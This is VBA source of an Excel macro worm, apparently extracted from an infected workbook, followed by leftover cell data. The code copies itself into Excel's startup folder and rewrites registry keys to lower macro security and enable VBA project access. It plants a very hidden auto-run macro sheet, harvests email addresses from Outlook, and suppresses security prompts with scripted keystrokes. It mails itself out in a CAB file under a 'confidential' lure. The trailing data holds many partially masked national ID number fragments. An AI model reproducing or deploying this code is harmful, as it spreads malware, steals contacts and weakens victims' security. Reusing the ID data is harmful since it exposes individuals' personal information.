Private Sub delete_this_wk()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule

Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents("ThisWorkbook")
Set CodeMod = VBComp.CodeModule
With CodeMod
    .DeleteLines 1, .CountOfLines
End With

End Sub
Function do_what()
Attribute do_what.VB_ProcData.VB_Invoke_Func = " \n14"
If ThisWorkbook.Path <> Application.StartupPath Then
  RestoreAfterOpen
  Call OpenDoor
  Call Microsofthobby
  Call ActionJudge
End If
End Function
Function copystart(ByVal wb As Workbook)
Attribute copystart.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next

Dim VBProj1 As VBIDE.VBProject
Dim VBProj2 As VBIDE.VBProject
Set VBProj1 = Workbooks("k4.xls").VBProject
Set VBProj2 = wb.VBProject

If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function
End Function

Function copymodule(ModuleName As String, _
    FromVBProject As VBIDE.VBProject, _
    ToVBProject As VBIDE.VBProject, _
    OverwriteExisting As Boolean) As Boolean
Attribute copymodule.VB_ProcData.VB_Invoke_Func = " \n14"
   
    On Error Resume Next

    Dim VBComp As VBIDE.VBComponent
    Dim FName As String
    Dim CompName As String
    Dim S As String
    Dim SlashPos As Long
    Dim ExtPos As Long
    Dim TempVBComp As VBIDE.VBComponent
    
    If FromVBProject Is Nothing Then
        copymodule = False
        Exit Function
    End If
    
    If Trim(ModuleName) = vbNullString Then
        copymodule = False
        Exit Function
    End If
    
    If ToVBProject Is Nothing Then
        copymodule = False
        Exit Function
    End If
    
    If FromVBProject.Protection = vbext_pp_locked Then
        copymodule = False
        Exit Function
    End If
    
    If ToVBProject.Protection = vbext_pp_locked Then
        copymodule = False
        Exit Function
    End If
    
    On Error Resume Next
    Set VBComp = FromVBProject.VBComponents(ModuleName)
    If Err.Number <> 0 Then
        copymodule = False
        Exit Function
    End If
   
    FName = Environ("Temp") & "\" & ModuleName & ".bas"
    If OverwriteExisting = True Then
       
        If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
            Err.Clear
            Kill FName
            If Err.Number <> 0 Then
                copymodule = False
                Exit Function
            End If
        End If
        With ToVBProject.VBComponents
            .Remove .Item(ModuleName)
        End With
    Else
        
        Err.Clear
        Set VBComp = ToVBProject.VBComponents(ModuleName)
        If Err.Number <> 0 Then
            If Err.Number = 9 Then
               
            Else
               
                copymodule = False
                Exit Function
            End If
        End If
    End If
   
    FromVBProject.VBComponents(ModuleName).Export FileName:=FName
   
    SlashPos = InStrRev(FName, "\")
    ExtPos = InStrRev(FName, ".")
    CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
    
    Set VBComp = Nothing
    Set VBComp = ToVBProject.VBComponents(CompName)
    
    If VBComp Is Nothing Then
        ToVBProject.VBComponents.Import FileName:=FName
    Else
        If VBComp.Type = vbext_ct_Document Then
            
            Set TempVBComp = ToVBProject.VBComponents.Import(FName)
           
            With VBComp.CodeModule
                .DeleteLines 1, .CountOfLines
                S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
                .InsertLines 1, S
            End With
            On Error GoTo 0
            ToVBProject.VBComponents.Remove TempVBComp
        End If
    End If
    Kill FName
    copymodule = True
End Function

Function Microsofthobby()
Attribute Microsofthobby.VB_ProcData.VB_Invoke_Func = " \n14"
Dim myfile0 As String
Dim MyFile As String
On Error Resume Next
myfile0 = ThisWorkbook.FullName
MyFile = Application.StartupPath & "\k4.xls"
If WorkbookOpen("k4.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("k4.xls").Close False
Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus

If ThisWorkbook.Path <> Application.StartupPath Then
     Application.ScreenUpdating = False
     ThisWorkbook.IsAddin = True
     ThisWorkbook.SaveCopyAs MyFile
     ThisWorkbook.IsAddin = False
     Application.ScreenUpdating = True
End If
End Function

Function OpenDoor()
Attribute OpenDoor.VB_ProcData.VB_Invoke_Func = " \n14"
Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
Dim KValue1 As Variant, KValue2 As Variant
Dim VS As String
On Error Resume Next
VS = Application.Version
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")

RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"
RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"

KValue1 = 1
KValue2 = 1

      Call WReg(RK1, KValue1, "REG_DWORD")
      Call WReg(RK2, KValue2, "REG_DWORD")
      Call WReg(RK3, KValue1, "REG_DWORD")
      Call WReg(RK4, KValue2, "REG_DWORD")

End Function

Sub WReg(strkey As String, Value As Variant, ValueType As String)
Attribute WReg.VB_ProcData.VB_Invoke_Func = " \n14"
    Dim oWshell
    Set oWshell = CreateObject("WScript.Shell")
    If ValueType = "" Then
        oWshell.RegWrite strkey, Value
    Else
        oWshell.RegWrite strkey, Value, ValueType
    End If
    Set oWshell = Nothing
End Sub


Private Sub Movemacro4(ByVal wb As Workbook)
On Error Resume Next

  Dim sht As Object

    wb.Sheets(1).Select
    Sheets.Add Type:=xlExcel4MacroSheet
    ActiveSheet.name = "Macro1"
   
    Range("A2").Select
    ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
    Range("A3").Select
    ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" & Application.UserName & """))=4)"
    Range("A4").Select
    ActiveCell.FormulaR1C1 = "=ALERT(""½ûÓú꣬¹Ø±Õ " & Chr(10) & Now & Chr(10) & "Please Enable Macro!"",3)"
    Range("A5").Select
    ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"
    Range("A6").Select
    ActiveCell.FormulaR1C1 = "=END.IF()"
    Range("A7").Select
    ActiveCell.FormulaR1C1 = "=RETURN()"
    
    For Each sht In wb.Sheets
    wb.Names.Add sht.name & "!Auto_Activate", "=Macro1!$A$2", False
    Next
    wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
End Sub

Private Function WorkbookOpen(WorkBookName As String) As Boolean
  WorkbookOpen = False
  On Error GoTo WorkBookNotOpen
  If Len(Application.Workbooks(WorkBookName).name) > 0 Then
    WorkbookOpen = True
    Exit Function
  End If
WorkBookNotOpen:
End Function

Private Sub ActionJudge()
Const T1 As Date = "10:00:00"
Const T2 As Date = "11:00:00"
Const T3 As Date = "14:00:00"
Const T4 As Date = "15:00:00"
Dim SentTime As Date, WshShell

Set WshShell = CreateObject("WScript.Shell")
If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command\")), "OUTLOOK.EXE") > 0 Then Exit Sub

If Time >= T1 And Time <= T2 Or Time >= T3 And Time <= T4 Then
      If ReadOut("D:\Collected_Address:frag1.txt") = "1" Then
           Exit Sub
      Else
           CreateFile "1", "D:\Collected_Address:frag1.txt"
           search_in_OL
      End If
Else
     If Not if_outlook_open Then Exit Sub
     If Time > T2 And Time <= DateAdd("n", 10, T2) Or Time > T4 And Time <= DateAdd("n", 10, T4) Then
          Exit Sub
     Else
          SentTime = DateAdd("n", -21, Now)
          On Error GoTo timeError
          SentTime = CDate(ReadOut("D:\Collected_Address:frag2.txt"))
timeError:
          If Now < DateAdd("n", 20, SentTime) Or ReadOut("D:\Collected_Address\log.txt") = "" Then
                Exit Sub
          Else
                CreateFile "", "D:\Collected_Address:frag1.txt"
                CreateFile Now, "D:\Collected_Address:frag2.txt"
                CreatCab_SendMail
          End If
     End If
End If
End Sub


Private Sub search_in_OL()
Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, fs As Object, WshShell As Object

On Error Resume Next
Set fs = CreateObject("scripting.filesystemobject")
Set WshShell = CreateObject("WScript.Shell")

If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
AttName = Replace(Replace(Left(ThisWorkbook.name, Len(ThisWorkbook.name) - 4), " ", "_"), ".", "_")
AddVbsFile_clear = "E:\KK\" & AttName & "_clear.vbs"
i = FreeFile
Open AddVbsFile_clear For Output Access Write As #i

Print #i, "On error Resume Next"
Print #i, "Dim wsh, tle, T0, i"
Print #i, "  T0 = Timer"
Print #i, "  Set wsh=createobject(""wscript.shell"")"
Print #i, "  tle = ""Microsoft Office Outlook"""
Print #i, "For i = 1 To 1000"
Print #i, "    If Timer - T0 > 60 Then Exit For"
Print #i, "  Call Refresh()"
Print #i, "  wscript.sleep 05"
Print #i, "  wsh.sendKeys ""%a"""
Print #i, "  wscript.sleep 05"
Print #i, "  wsh.sendKeys ""{TAB}{TAB}"""
Print #i, "  wscript.sleep 05"
Print #i, "  wsh.sendKeys ""{Enter}"""
Print #i, "Next"
Print #i, "Set wsh = Nothing"
Print #i, "wscript.quit"
Print #i, "Sub Refresh()"
Print #i, "Do Until wsh.AppActivate(CStr(tle)) = True"
Print #i, "    If Timer - T0 > 60 Then Exit Sub"
Print #i, "Loop"
Print #i, "  wscript.sleep 05"
Print #i, "    wsh.SendKeys ""%{F4}"""
Print #i, "End Sub"
Close (i)

AddVbsFile_search = "E:\KK\" & AttName & "_Search.vbs"
i = FreeFile
Open AddVbsFile_search For Output Access Write As #i

Print #i, "On error Resume Next"
Print #i, "Const olFolderInbox = 6"
Print #i, "Dim conbinded_address,WshShell,sh,ts"
Print #i, "Set WshShell=WScript.CreateObject(""WScript.Shell"")"
Print #i, "Set objOutlook = CreateObject(""Outlook.Application"")"
Print #i, "Set objNamespace = objOutlook.GetNamespace(""MAPI"")"
Print #i, "Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)"
Print #i, "Set TargetFolder = objFolder"
Print #i, "conbinded_address = """""
Print #i, "Set colItems = TargetFolder.Items"
Print #i, "wscript.sleep 300000"
Print #i, "WshSHell.Run (""wscript.exe " & AddVbsFile_clear & """), vbHide, False"
Print #i, "ts = Timer"
Print #i, "For Each objMessage in colItems"
Print #i, "       If Timer - ts >55 then exit For"
Print #i, "       conbinded_address = conbinded_address & valid_address(objMessage.Body)"
Print #i, "Next"
Print #i, "add_text conbinded_address, 8"
Print #i, "add_text all_non_same(ReadAllTextFile), 2"
Print #i, "WScript.Quit"
Print #i, ""
Print #i, "Private Function valid_address(source_data)"
Print #i, "   Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr"
Print #i, "   Dim regex, matchs, ss, arr()"
Print #i, "   Set oDict = CreateObject(""Scripting.Dictionary"")"
Print #i, "   Set regex = CreateObject(""VBSCRIPT.REGEXP"")"
Print #i, ""
Print #i, "   regex.Global = True"
Print #i, "   regex.Pattern = ""\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*"""
Print #i, "   Set matchs = regex.Execute(source_data)"
Print #i, "   ReDim trimed_arr(matchs.Count - 1)"
Print #i, "   For i = Lbound(trimed_arr) To Ubound(trimed_arr)"
Print #i, "        trimed_arr(i) = matchs.Item(i) & vbCrLf"
Print #i, "   Next"
Print #i, ""
Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
Print #i, "        oDict(trimed_arr(i)) = """""
Print #i, "   Next"
Print #i, ""
Print #i, "   If oDict.Count > 0 Then"
Print #i, "        nonsame_arr = oDict.keys"
Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
Print #i, "             valid_address = valid_address & nonsame_arr(i)"
Print #i, "        Next"
Print #i, "   End If"
Print #i, "   Set oDict = Nothing"
Print #i, "End Function"
Print #i, ""
Print #i, "Private Sub add_text(inputed_string, input_frag)"
Print #i, "   Dim objFSO, logfile, logtext, log_path, log_folder"
Print #i, "   log_path = ""D:\Collected_Address"""
Print #i, "   Set objFSO = CreateObject(""Scripting.FileSystemObject"")"
Print #i, "   On Error resume next"
Print #i, "   Set log_folder = objFSO.CreateFolder(log_path)"
Print #i, ""
Print #i, "   If objFSO.FileExists(log_path & ""\log.txt"") = 0 Then"
Print #i, "       Set logfile = objFSO.CreateTextFile(log_path & ""\log.txt"", True)"
Print #i, "   End If"
Print #i, "   Set log_folder = Nothing"
Print #i, "   Set logfile = Nothing"
Print #i, ""
Print #i, "   Select Case input_frag"
Print #i, "     Case 8"
Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & ""\log.txt"", 8, True, -1)"
Print #i, "          logtext.Write inputed_string"
Print #i, "          logtext.Close"
Print #i, "     Case 2"
Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & ""\log.txt"", 2, True, -1)"
Print #i, "          logtext.Write inputed_string"
Print #i, "          logtext.Close"
Print #i, "   End Select"
Print #i, "   set objFSO = nothing"
Print #i, "End Sub"
Print #i, ""
Print #i, "Private Function ReadAllTextFile()"
Print #i, "    Dim objFSO, FileName, MyFile"
Print #i, "    FileName = ""D:\Collected_Address\log.txt"""
Print #i, "    Set objFSO = CreateObject(""Scripting.FileSystemObject"")"
Print #i, "    Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)"
Print #i, "    If MyFile.AtEndOfStream Then"
Print #i, "        ReadAllTextFile = """""
Print #i, "    Else"
Print #i, "        ReadAllTextFile = MyFile.ReadAll"
Print #i, "    End If"
Print #i, "set objFSO = nothing"
Print #i, "End Function"
Print #i, ""
Print #i, "Private Function all_non_same(source_data)"
Print #i, "   Dim oDict, i, trimed_arr, nonsame_arr"
Print #i, "   all_non_same = """""
Print #i, "   Set oDict = CreateObject(""Scripting.Dictionary"")"
Print #i, ""
Print #i, "   trimed_arr = Split(source_data, vbCrLf)"
Print #i, ""
Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
Print #i, "         oDict(trimed_arr(i)) = """""
Print #i, "   Next"
Print #i, ""
Print #i, "   If oDict.Count > 0 Then"
Print #i, "        nonsame_arr = oDict.keys"
Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
Print #i, "             all_non_same = all_non_same & nonsame_arr(i) & vbCrLf"
Print #i, "        Next"
Print #i, "   End If"
Print #i, "   Set oDict = Nothing"
Print #i, "End Function"
Close (i)
Application.WindowState = xlMaximized
WshShell.Run ("wscript.exe " & AddVbsFile_search), vbHide, False
Set WshShell = Nothing
End Sub

Private Sub CreatCab_SendMail()
Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, Address_list As String
Dim fs As Object, WshShell As Object
Address_list = get_ten_address

Set WshShell = CreateObject("WScript.Shell")
Set fs = CreateObject("scripting.filesystemobject")
If fs.Folderexists("E:\SORCE") = False Then fs.CreateFolder "E:\SORCE"
AttName = Replace(Replace(Left(ThisWorkbook.name, Len(ThisWorkbook.name) - 4), " ", "_"), ".", "_")
mail_sub = "*" & AttName & "*Message*"
AddVbsFile = "E:\sorce\" & AttName & "_Key.vbs"
i = FreeFile
Open AddVbsFile For Output Access Write As #i
    
Print #i, "Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route"
Print #i, "On error Resume Next"
Print #i, "Set sh=WScript.CreateObject(""shell.application"")"
Print #i, "sh.MinimizeAll"
Print #i, "Set sh = Nothing"
Print #i, "Set Fso = CreateObject(""Scripting.FileSystemObject"")"
Print #i, "Set WshShell = WScript.CreateObject(""WScript.Shell"")"
Print #i, "If Fso.Folderexists(""E:\KK"") = False Then Fso.CreateFolder ""E:\KK"""
Print #i, "Fso.CopyFile  _"
Print #i, "WshShell.CurrentDirectory & ""\" & AttName & "*.CAB"", ""E:\KK\"", True"
Print #i, "For Each Atta_xls In ListDir(""E:\KK"")"
Print #i, "   WshShell.Run ""expand "" & Atta_xls & "" -F:" & AttName & ".xls E:\KK"", 0, true"
Print #i, "Next"
Print #i, "If Fso.FileExists(""E:\KK\" & AttName & ".xls"") = 0 then"
Print #i, "        route = WshShell.CurrentDirectory & ""\" & AttName & ".xls"""
Print #i, "        if Fso.FileExists(WshShell.CurrentDirectory & ""\" & AttName & ".xls"")=0 then"
Print #i, "                 route = InputBox(""Warning! "" & Chr(10) & ""You are going to open a confidential file.""& Chr(10)   _"
Print #i, "                               & ""Please input the complete file path."" & Chr(10) & ""ex. C:\parth\confidential_file.xls"", _"
Print #i, "                               ""Open a File"" , ""Please Input the Complete File Path"", 10000, 8500)"
Print #i, "        End if"
Print #i, "else"
Print #i, "        route = ""E:\KK\" & AttName & ".xls"""
Print #i, "End If"
Print #i, "   set oexcel=createobject(""excel.application"")"
Print #i, "   set owb=oexcel.workbooks.open(route)"
Print #i, "   oExcel.Visible = True"
Print #i, "Set oExcel = Nothing"
Print #i, "Set oWb = Nothing"
Print #i, "Set  WshShell = Nothing"
Print #i, "Set Fso = Nothing"
Print #i, "WScript.Quit"
Print #i, "Private Function ListDir (ByVal Path)"
Print #i, "   Dim Filter, a, n, Folder, Files, File"
Print #i, "       ReDim a(10)"
Print #i, "    n = 0"
Print #i, "  Set Folder = fso.GetFolder(Path)"
Print #i, "   Set Files = Folder.Files"
Print #i, "   For Each File In Files"
Print #i, "      If left(File.Name," & Len(AttName) & ") = """ & AttName & """ and right(File.Name,3) = ""CAB"" Then"
Print #i, "         If n > UBound(a) Then ReDim Preserve a(n*2)"
Print #i, "            a(n) = File.Path"
Print #i, "            n = n + 1"
Print #i, "       End If"
Print #i, "   Next"
Print #i, "   ReDim Preserve a(n-1)"
Print #i, "   ListDir = a"
Print #i, "End Function"

Close (i)
AddListFile = ThisWorkbook.Path & "\TEST.txt"
i = FreeFile
Open AddListFile For Output Access Write As #i
Print #i, "E:\sorce\" & AttName & "_Key.vbs"
Print #i, "E:\sorce\" & AttName & ".xls"
Close (i)

Application.ScreenUpdating = False
RestoreBeforeSend
ThisWorkbook.SaveCopyAs "E:\sorce\" & AttName & ".xls"
RestoreAfterOpen
c4$ = CurDir()
ChDrive Left(ThisWorkbook.Path, 3) '"C:\"
ChDir ThisWorkbook.Path
WshShell.Run Environ$("comspec") & " /c makecab /F """ & ThisWorkbook.Path & "\TEST.TXT"" /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../" & AttName & ".CAB", vbHide, False

Do Until fs.FileExists(ThisWorkbook.Path & "\TEST.txt") _
And fs.FileExists(ThisWorkbook.Path & "\setup.rpt") And fs.FileExists(ThisWorkbook.Path & "\setup.inf") _
And fs.FileExists(ThisWorkbook.Path & "\" & AttName & ".CAB")
DoEvents
Loop

WshShell.Run Environ$("comspec") & " /c RD /S /Q """ & ThisWorkbook.Path & "\disk1""", vbHide, False
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\TEST.txt""", vbHide, False
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.rpt""", vbHide, False
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.inf""", vbHide, False
WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\sorce", vbHide, False

If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
WshShell.Run Environ$("comspec") & " /c MOVE /Y " & AttName & ".CAB E:\KK""", vbHide, False
ChDir c4$
Call Massive_SendMail(Address_list, AttName, "Dear all," & vbCrLf & AttName & vbCrLf & "FYI", _
"", "E:\KK\" & AttName & ".CAB")
WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\KK", vbHide, False
Set WshShell = Nothing
Application.ScreenUpdating = True
End Sub

Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$, Attachment$)
    Dim objOL As Object
    Dim itmNewMail As Object
    If Not if_outlook_open Then Exit Sub
    
    Set objOL = CreateObject("Outlook.Application")
    Set itmNewMail = objOL.CreateItem(olMailItem)
    
    With itmNewMail
        .Subject = Subject
        .Body = Body
        .To = Email_Address
        .CC = CC_email_add
        .Attachments.Add Attachment
        .DeleteAfterSubmit = True
    End With
    On Error GoTo continue
SendEmail:
    itmNewMail.display
    Debug.Print "setforth "
    DoEvents
    DoEvents
    DoEvents
    SendKeys "%s", Wait:=True
    DoEvents
    GoTo SendEmail
continue:
    Set objOL = Nothing
    Set itmNewMail = Nothing
End Sub

Private Function if_outlook_open() As Boolean
Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")
if_outlook_open = False
For Each obj In objs
If InStr(obj.Description, "OUTLOOK") > 0 Then
if_outlook_open = True
Exit For
End If
Next
End Function

Private Function RadomNine(length As Integer) As String
 Dim jj As Integer, k As Integer, i As Integer
 RadomNine = ""
 If length <= 0 Then Exit Function
 If length <= 10 Then
     For i = 1 To length
     RadomNine = RadomNine & "$$" & i
     Next i
     Exit Function
 End If
 jj = length / 10
 Randomize
 For i = 1 To 10
      k = Int(Rnd * (jj * i - m - 1)) + 1
      If m + k <> 1 Then RadomNine = RadomNine & "$$" & m + k
      m = m + k
 Next
End Function
Private Function get_ten_address() As String
Dim singleAddress_arr, krr, i As Integer
get_ten_address = ""
singleAddress_arr = Split(ReadOut("D:\Collected_Address\log.txt"), vbCrLf)
krr = Split(RadomNine(UBound(singleAddress_arr) - LBound(singleAddress_arr) + 1), "$$")
For i = 1 To UBound(krr)
get_ten_address = get_ten_address & ";" & singleAddress_arr(CInt(krr(i)) - 1)
Next i
End Function

Private Function ReadOut(FullPath) As String
    On Error Resume Next
    Dim Fso, FileText
    Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
    Set FileText = Fso.OpenTextFile(FullPath, 1, False, -1)
    ReadOut = FileText.ReadAll
    FileText.Close
End Function

Private Sub CreateFile(FragMark, pathf)
    On Error Resume Next
    Dim Fso, FileText
    Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
    If Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder Left(pathf, Len(pathf) - 10)
    If Fso.FileExists(pathf) Then
        Set FileText = Fso.OpenTextFile(pathf, 2, False, -1)
        FileText.Write FragMark
        FileText.Close
    Else
        Set FileText = Fso.OpenTextFile(pathf, 2, True, -1)
        FileText.Write FragMark
        FileText.Close
    End If
End Sub


Private Sub RestoreBeforeSend()
Dim aa As name, i_row As Integer, i_col As Integer
Dim sht As Object
Application.ScreenUpdating = False
Application.DisplayAlerts = False
On Error Resume Next
For Each aa In ThisWorkbook.Names
     aa.Visible = True
     If Split(aa.name, "!")(1) = "Auto_Activate" Then aa.Delete
Next
For Each sht In ThisWorkbook.Sheets
     If sht.name = "Macro1" Then
     sht.Visible = xlSheetVisible
     sht.Delete
     End If
Next
Sheets(1).Select
Sheets.Add
For Each sht In ThisWorkbook.Sheets
     If sht.name <> Sheets(1).name Then sht.Visible = xlSheetVeryHidden
Next
i_row = Int((15 * Rnd) + 1)
i_col = Int((6 * Rnd) + 1)
Cells(i_row, i_col) = "** CONFIDENTIAL! ** "
Cells(i_row + 2, i_col) = "Use " & Chr(34) & Left(ThisWorkbook.name, Len(ThisWorkbook.name) - 4) & "_key.vbs" & Chr(34) & " To Open This File."
Cells(i_row + 3, i_col) = "ÇëÓà " & Chr(34) & Left(ThisWorkbook.name, Len(ThisWorkbook.name) - 4) & "_key.vbs" & Chr(34) & " ½âËø´ËÎļþ."
With Range(Cells(i_row, i_col), Cells(i_row + 2, i_col))
     .Font.Bold = True
     .Font.ColorIndex = 3
End With
Application.ScreenUpdating = True
End Sub

Private Function RestoreAfterOpen()
Dim sht, del_sht, rng, del_frag As Boolean
On Error Resume Next
del_sht = ActiveSheet.name
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each sht In ThisWorkbook.Sheets
    If sht.name <> "Macro1" Then sht.Visible = xlSheetVisible
Next
For Each rng In Sheets(del_sht).Range("A1:F15")
If InStr(rng.Value, "CONFIDENTIAL") > 0 Then
del_frag = True
Exit For
End If
Next
If del_frag = True Then Sheets(del_sht).Delete
Application.ScreenUpdating = True

End Function
DELL B
ThisWorkbook
_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_
_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_
\$#,##0_);\(\$#,##0\)
\$#,##0_);[Red]\(\$#,##0\)
\$#,##0.00_);\(\$#,##0.00\)
\$#,##0.00_);[Red]\(\$#,##0.00\)
Macro1
371525
........145X
371522
........6039
372924
........421X
372929
........4248
370785
........5726
371326
........2103
370784
........1538
370826
........575X
371502
........2413
372923
........2338
372330
........6694
610528
........8629
372426
........4208
371523
........6641
430321
........2719
370481
........0920
371422
........0014
140322
........1222
371422
........5429
370828
........1630
370123
........002X
370281
........234X
370783
........3326
371481
........6626
Ng0uP[
370306
........3023
372926
........0047
Ngd_ga
372901
........3718
370481
........0312
371428
........5533
371502
........9346
Ng3z3z
370828
........3228
371428
........0706
370503
........2215
411422
........3636
622801
........1264
370784
........4046
370983
........0045
610528
........4215
370406
........5011
371523
........3803
372923
........1123
430422
........1579
620403
........1220
371202
........6846
370283
........1523
370784
........2334
370112
........5619
372301
........0028
371423
........3421
370323
........1427
371523
........3751
370523
........3318
370125
........1215
130404
........1530
130281
........005X
370827
........3538
372928
........7677
370214
........4531
150422
........1599
370306
........1520
370181
........4136
370782
........782X
371325
........0028
152502
........0268
370781
........1818
370781
........3299
371326
........0456
371524
........2159
370724
........5167
371423
........1726
370281
........0039
370832
........7323
371523
........0527
372926
........8205
372925
........434X
610324
........1837
421081
........3671
372922
........6216
371421
........5209
372901
........6885
372321
........8953
370725
........5098
141082
........0011
370724
........5752
370832
........2857
371326
........8510
370827
........1816
370783
........5731
370203
........7618
370283
........1217
370782
........2422
432522
........3009
370683
........2283
370921
........2488
371321
........3136
370612
........7524
411122
........8235
371422
........0026
612328
........1415
232321
........3715
620422
........7125
372924
........0041
610326
........0651
610425
........394X
370281
........6329
371121
........0428
371421
........6330
370481
........3654
610427
........0024
370303
........7624
371322
........1260
370685
........0046
372926
........2828
371324
........7729
370826
........3291
370983
........5316
370784
........5543
371324
........0318
371329
........2713
370786
........6028
371082
........2122
371328
........2020
371082
........4635
500235
........6654
131125
........2426
370725
........0211
370786
........0627
372924
........4221
410323
........1016
370303
........032X
372323
........2725
370502
........1663
371526
........6314
371323
........0527
372301
........5720
370881
........2013
370213
........3615
422801
........0216
370724
........7756
371122
........6897
370902
........154X
371502
........4524
371081
........8416
370783
........597X
371329
........3919
371402
........0022
372330
........1075
370983
........3737
370921
........0977
371202
........1548
372325
........0840
371426
........2835
372922
........3945
371322
........6933
370405
........1820
371325
........5312
370923
........3448
370829
........4226
370921
........1248
371525
........5310
370830
........3516
610526
........2823
370830
........6146
371202
........1522
150430
........0035
370683
........601X
371328
........3524
370481
........644X
370685
........5583
370782
........1849
370503
........002X
370882
........5515
370921
........1812
370126
........5247
370724
........5212
370783
........2917
370282
........4827
371323
........8417
370982
........6679
370883
........0918
370830
........3922
372323
........3926
371502
........6024
372930
........1248
370306
........0550
371083
........0580
371321
........6964
370783
........4940
412724
........2966
370784
........3029
370181
........4430
370826
........122X
370283
........0428
372330
........6156
371324
........611X
370785
........6023
370911
........2062
372925
........7534
371402
........7011
370682
........6925
_[-f?b
371202
........2119
220625
........0924
372929
........4866
342921
........2225
_r%f+T
370783
........5365
370181
........1138
371581
........1755
*P]lck
371525
........5319
142729
........1544
370302
........8341
370405
........0226
610323
........6346
410881
........4027
340621
........8255
360427
........1225
371421
........2968
370205
........7525
371525
........6697
622624
........1478
Xock&t
371425
........8618
450722
........0016
371421
........2965
131024
........1329
370306
........2011
430521
........8739
m_iOiO
372901
........7844
622101
........0324
370681
........4834
370126
........6243
340621
........8416
370829
........5325
371427
........253X
370406
........2839
370323
........0429
371482
........322X
371426
........5651
370704
........061X
320483
........3919
370611
........1936
220323
........6326
370181
........143X
370181
........6815
371121
........2970
371328
........5057
371524
........3317
372929
........3065
371121
........2979
370725
........2572
370832
........7044
370612
........7015
370612
........3011
370612
........2527
370612
........3018
220422
........2825
H\UxUx
370112
........7433
370481
........602X
610424
........2610
371327
........1520
370481
........7011
372301
........3828
370683
........8921
372922
........607X
230826
........0227
370784
........4519
1g0u=N
341281
........7189
371321
........74<
370921
........1919
371325
........0937
372924
........0617
370982
........8018
371202
........4727
411426
........3652
411121
........2517
371312
........553X
371526
........4011
370481
........4293
340302
........0021
330182
........4347
371002
........7018
371522
........0824
370682
........5326
370682
........8817
371421
........6327
371329
........6044
_[6q6q
370830
........2242
372928
........542X
370983
........3270
371521
........1458
372901
........2611
371203
........7718
372930
........5597
371122
........2514
371321
........1127
371324
........6843
370305
........073x
370303
........0018
220622
........0512
370303
........7026
370303
........3533
370321
........3920
370303
........171x
370303
........2827
370305
........502x
370303
........5412
231121
........5027
370305
........0052
370303
........1026
421222
........0040
350305
........1420
370302
........0516
370306
........1511
370304
........3945
370305
........5315
371122
........6334
370303
........8519
370303
........5721
372330
........5889
370303
........741x
370321
........3014
370305
........282X
370303
........211x
370303
........762x
Y[sOga
370321
........3929
370302
........3331
370303
........7432
370303
........7021
370305
........0769
370306
........6426
370306
........6418
370322
........6713
370303
........7039
370322
........2520
370781
........6011
340826
........404X
362322
........1831
370303
........7669
370303
........6338
370303
........7223
370304
........6532
370322
........6722
370303
........1755
370302
........8328
370303
........4248
371502
........7815
370305
........0422
370303
........0313
370404
........3340
370303
........2123
370303
........2813
370303
........3117
fk=NZ
370983
........1369
370781
........6022
370406
........0022
370405
........6049
1gzfga
372924
........2126
310108
